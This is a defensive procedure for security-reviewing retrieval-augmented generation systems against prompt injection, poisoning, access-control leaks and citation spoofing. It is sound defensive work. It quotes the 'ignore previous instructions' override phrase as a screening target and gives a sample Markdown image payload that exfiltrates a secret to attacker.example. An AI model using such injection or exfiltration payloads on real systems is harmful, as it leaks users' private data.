RAG Security Review

RAG Security Review

Purpose

A RAG pipeline moves untrusted, attacker-influenceable text (retrieved chunks) into the same context window as trusted instructions (the system prompt) and often into a model that can call tools. That collapse of trust boundaries is the root cause of most RAG-specific vulnerabilities. This skill gives a repeatable procedure to review a RAG system across its whole data path and produce a defensible, evidence-backed findings report mapped to OWASP LLM Top 10 (2025) and MITRE ATLAS.

It focuses on four attack surfaces:

1. Indirect prompt injection — instructions hidden in retrieved content (OWASP LLM01:2025, ATLAS AML.T0051.001).
2. Data / knowledge-base poisoning — corrupting what gets retrieved (OWASP LLM04:2025, ATLAS AML.T0070 RAG Poisoning, AML.T0020).
3. Retrieval access control & isolation — a user retrieving chunks they should not see; embedding/index leakage (OWASP LLM02:2025, LLM08:2025, ATLAS AML.T0057, AML.T0024).
4. Citation & grounding integrity — fabricated, spoofed, or exfiltrating citations and ungrounded claims (OWASP LLM09:2025, output-handling issues under LLM05:2025).

When to use

• Reviewing or designing any system where model context is assembled from a vector store, search index, database, files, emails, tickets, web pages, or tool output.
• Before shipping a RAG feature, after a pipeline change (new data source, new store, new prompt template), or during incident response for suspected injection/leak.
• When someone asks "is our RAG safe from prompt injection / can users see each other's data / can the docs lie to the model."

When NOT to use

• Pure fine-tuning / training-data reviews with no retrieval at run time (use a model-supply-chain review instead).
• Generic web-app pentest with no LLM in the loop.
• Do not run the probes in this skill against a system you are not authorized to test. See Limits & ethics.

Core principle

Treat every retrieved chunk as hostile user input, never as instruction. Score each pipeline stage against this. OWASP is explicit that prompt injection has no complete fix today — defenses are probabilistic and must be layered (defense in depth). Grade reduction of blast radius, not "is injection impossible."

Step-by-step procedure

Step 0 — Scope and map the pipeline

Ask for (or read from the repo) the architecture and code for each stage. Draw the data path and mark trust boundaries — every point where third-party/user-writable content enters:

[sources] -> [ingest/parse] -> [chunk] -> [embed] -> [vector/index store]
                                                            |
[user query] -> [retrieve top-k + filters] -> [rerank] -> [prompt assembly]
             -> [LLM (+ tools)] -> [post-process] -> [citation render] -> [UI/downstream]

Identify concretely:

• Data sources and who can write to each (internal only? user uploads? crawled web? shared inbox? public wiki?).
• Embedding model + vector store/product (and whether the store is multi-tenant or per-user).
• Retriever config: top_k, similarity threshold, metadata filters, hybrid/BM25, reranker.
• The prompt template — exact string that concatenates system instructions + retrieved context + user question.
• The model, and whether it can call tools / trigger actions (agentic).
• How output is rendered (raw text? Markdown? HTML? auto-fetched images/links?) and any downstream sinks (SQL, shell, HTTP, email send).

Code to locate first:

• Prompt assembly: grep -rEn 'f".*\{context' , 'system_prompt', 'PromptTemplate', '"""' near context vars.
• Retrieval: similarity_search, .query(, .search(, retriever, as_retriever, top_k.
• Filters/ACL: filter=, where=, metadata, namespace, tenant, user_id.
• Output rendering: markdown, dangerouslySetInnerHTML, render, Image, link handling.
• Tools/agency: tool/function definitions, tools=, action executors.

Step 1 — Indirect prompt injection (LLM01 / AML.T0051.001)

Inspect the prompt template and generation path. Check for:

• Segregation of data from instructions. Retrieved text should be clearly delimited and labeled as untrusted data (e.g., a <retrieved_context> block), and the system prompt should instruct the model to treat it as reference material only, never as commands. Flag templates that inline raw chunks with no delimiter (f"Context: {context}\nAnswer: {q}").
• Spotlighting techniques present or absent: delimiting, datamarking (interleaving a marker token), or encoding of retrieved content so the model can distinguish it. Absence is not critical alone but raises residual risk.
• Instruction/anomaly screening on retrieved chunks before use (a classifier or scanner that flags imperative "ignore previous instructions"-style content, hidden Unicode, invisible text, HTML/markdown comment payloads, base64 blobs). Optional tooling: an indirect-injection scanner such as uncloak can be wired in at ingest and at retrieval time; treat detector output as a signal, not a guarantee.
• Least-privilege on the model. If retrieved content can cause the model to call a tool, send an email, run a query, or navigate — that is the highest-severity path. Confirm tool calls require deterministic gating (human confirmation, allowlists, per-tool auth) independent of model output (this crosses into LLM06 Excessive Agency).
• Output constraints — structured/constrained output, refusal of meta-instructions, no reflection of raw retrieved instructions.
• Hidden-content parsing at ingest: does the parser strip zero-width chars, white-on-white text, HTML comments, alt-text, PDF layers, spreadsheet hidden cells? These are classic indirect-injection carriers.

Step 2 — Data / KB poisoning (LLM04 / AML.T0070 / AML.T0020)

Focus on what can get into the index:

• Provenance & write authorization. Who/what can add or edit documents? Is ingestion authenticated and authorized? Web-crawled, user-uploaded, or shared-mailbox sources are attacker-writable and must be quarantined/reviewed.
• Content validation on ingest: type/size checks, malware scanning, HTML sanitization, dedup, and rejection or flagging of documents that contain instruction-like or steganographic payloads.
• Embedding-space / retrieval-ranking attacks (LLM08). Can an attacker craft a passage (keyword stuffing, adversarial phrasing) that dominates top_k for many queries? Check for reranking, per-source caps, diversity in retrieval, and source-reputation weighting.
• Integrity, versioning, rollback: are documents hashed/signed? Is there an audit log of index writes and the ability to roll back a poisoned batch? Is there monitoring for anomalous ingest volume or content?
• Blast radius: is one shared index used across all users/tenants (a single poisoned doc affects everyone) vs scoped indices?

Step 3 — Retrieval access control & isolation (LLM02 / LLM08 / AML.T0057 / AML.T0024)

The critical question: is retrieval filtered by the requesting user's real permissions BEFORE chunks reach the model?

• Pre-filtering vs post-filtering. ACL must be enforced at query time in the store (metadata filter / namespace / row-level security), not by asking the LLM to "only answer if authorized." Post-hoc filtering after the model has already seen the content is a leak. Flag any design that relies on the prompt for authorization.
• Per-chunk ACL metadata that matches source-of-truth permissions, and stays in sync when source permissions change (revocation lag).
• Tenant isolation in the vector store (separate namespaces/collections/indices or enforced tenant key on every query). Test cross-tenant retrieval (Step 6).
• PII / secrets in chunks (LLM02): are secrets, tokens, or regulated PII embedded and retrievable? Is there redaction at ingest?
• Embedding leakage (AML.T0024/inversion): if raw embeddings or the store are exposed via an API, embeddings can partially reconstruct source text. Confirm the store/embeddings are not readable by unauthorized callers.
• Query logging: are user queries + retrieved chunks logged with sensitive content, and who can read those logs?

Step 4 — Citation & grounding integrity (LLM09 / LLM05)

• Verifiable citations. Source IDs the model cites must map to chunks actually retrieved for that answer. Check whether the app verifies citations against the retrieval set or trusts the model's free-text citation (fabrication risk).
• Citation spoofing. A poisoned/injected chunk can claim to be from an authoritative source ("Source: Official Policy Doc"). Confirm the trust label comes from verified metadata, not from text inside the chunk.
• Grounding / faithfulness check — is there any check that answer claims are supported by retrieved text (faithfulness scoring, "answer only from context")? Absence → misinformation risk.
• Output rendering as an exfil channel (LLM05). If model output is rendered as Markdown/HTML and links or images auto-load, injected content can exfiltrate data via ![x](https://attacker.example/log?d=<secret>) or clickable links. Check sanitization, image/link allowlists, and CSP. This pairs with Step 1 injection to become a data-exfiltration chain.

Step 5 — Run probes (authorized systems only)

Use benign canary tokens — never real payloads or real sensitive data. Insert test documents into a non-production / owned index and run queries. Suggested matrix:

Record the exact query, retrieved chunk IDs, raw model output, and whether any tool/network action fired.

Step 6 — Report

Produce the report in the format below. Rank Critical → Low. Every finding needs concrete evidence (file:line, config value, or probe transcript) and a specific remediation. State residual risk honestly.

Output / report format

# RAG Security Review — <system name> — <date>

## Summary
- Scope: <components, environment, in/out of scope>
- Overall posture: <1–2 sentences; note that injection defenses are probabilistic>
- Findings: <n> Critical, <n> High, <n> Medium, <n> Low

## Pipeline map
<data path + marked trust boundaries>

## Findings
### [CRITICAL] F-01 — <short title>
- Stage: <ingest | retrieval | prompt assembly | output | ...>
- OWASP: LLM01:2025 (Prompt Injection)
- ATLAS: AML.T0051.001 (Indirect Prompt Injection)
- Evidence: <file:line / config / probe transcript>
- Impact: <what an attacker achieves; blast radius>
- Remediation: <specific, testable fix>
- Residual risk: <what remains after the fix>

### [HIGH] F-02 — ...

## Positive controls observed
<what is already done well — pre-filtering, delimiting, tool gating, etc.>

## Test transcript appendix
<probe matrix results, canary tokens used>

Severity guidance: Critical = injection-to-action (tool call / data exfil) or cross-tenant data exposure reachable by an external actor. High = reliable indirect injection into output, or authorization enforced by the prompt rather than the store. Medium = missing hardening (no delimiting, no faithfulness check, weak ingest validation) without a demonstrated exploit. Low = defense-in-depth gaps and hygiene.

Quick checklist (triage in ~15 minutes)

• Retrieved chunks are delimited and labeled as untrusted data in the prompt.
• System prompt forbids treating retrieved text as instructions.
• Tool calls / actions are gated independently of model output.
• Retrieval is permission-filtered at query time in the store (pre-filter), per user/tenant.
• Multi-tenant store uses enforced isolation (namespace/RLS), verified by a cross-tenant probe.
• Ingest is authorized, validated, and strips hidden/steganographic content.
• Index writes are logged, versioned, and rollback-capable; ingest anomalies monitored.
• Citations are verified against the actual retrieval set; trust labels from metadata, not chunk text.
• Output rendering blocks auto-loading images/links and untrusted HTML.
• Secrets/PII redacted at ingest; embeddings/store not exposed to unauthorized callers.

Optional tooling

• Indirect-injection / hidden-content scanning at ingest and retrieval (e.g., uncloak) — use as a detection signal, not a guarantee; measure false-negative and over-block rates before relying on it.
• A probe corpus (e.g., a curated injection dataset, including non-English/Turkish payloads) to exercise multilingual bypasses — attackers do not limit themselves to English.
• Continuous monitoring of retrieved-content anomalies and tool-call rates in production.

Limits & ethics

• Authorization required. Only plant documents, run probes, or attempt cross-tenant/PII retrieval on systems you own or are explicitly authorized to test. Get scope in writing.
• Benign canaries only. Use harmless tokens and synthetic PII patterns; never inject real secrets, real personal data, or working exploit chains, and never exfiltrate real data during testing.
• No completeness guarantee. Per OWASP, prompt injection has no full fix; this review reduces and documents risk, it does not certify a system "injection-proof." Report residual risk plainly.
• No "first / best / only" claims in the report. State what was tested, what was observed, and what was not covered.
• Responsible disclosure. If reviewing a third party's system, report findings privately to the owner and allow remediation time before any public discussion. Keep probe transcripts and any incidentally retrieved sensitive data confidential and delete test artifacts when done.